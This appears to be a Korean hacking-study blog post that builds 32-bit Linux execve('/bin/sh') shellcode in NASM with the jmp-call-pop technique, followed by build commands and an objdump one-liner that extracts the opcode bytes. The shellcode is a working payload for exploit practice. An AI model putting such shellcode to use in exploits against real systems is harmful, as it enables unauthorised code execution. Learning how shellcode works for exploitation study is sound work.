section .text
global _start

_start:
	jmp bin_sh

bin_sh:
	call main
	db "/bin/sh",0

main:
	pop ebx
	xor eax, eax
	push eax
	mov edx, esp
	mov ecx, esp
	mov al, 0xb
	int 0x80

bin_sh 부분에서 call main을 하면 리턴 어드레스 (다음 주소)가 스택에 들어가므로 

스택에는 자연스럽게 /bin/sh의 주소가 들어가있다 (신박ㅋ)

이 상태에서 pop ebx하면 ebx에는 바로 /bin/sh의 주소가 잡힌다.


컴파일은

nasm -f elf shell.s

ld -m elf_i386 -o shell shell.o


opcode 뽑기는 

for i in $(objdump -d shell | grep "^ " | cut -f 2);do echo -n \\x$i; done; echo -e "\n";


-----------

null바이트 없애려고 /bin/sh뒤에 붙는 0을 어떻게든 없애보려고 했는데 다 실패...

그나마 성공한건 .data영역에 /bin/sh를 박으면 뒤가 다 null이므로 괜찮은데, 

문제는 이렇게 만든 쉘코는 universal하지 않다. 대충 디버깅 해보니 오프셋이 안 맞아서 그런듯


'pwnable' 카테고리의 다른 글

Understanding Attacking Environment Variables - Hooking LD_PRELOAD  (0) 2020.02.15
쉘코드 만들기 (asm 코딩)  (0) 2018.12.23
쉘코드 만들기 (직접)  (0) 2018.12.23
PIE base 구하기 (pwntools)  (0) 2018.09.02
쉘코드 만들기 (tool)  (0) 2018.08.25
peda에서 heap 명령어  (0) 2018.08.24
Posted by 범고래_1

댓글을 달아 주세요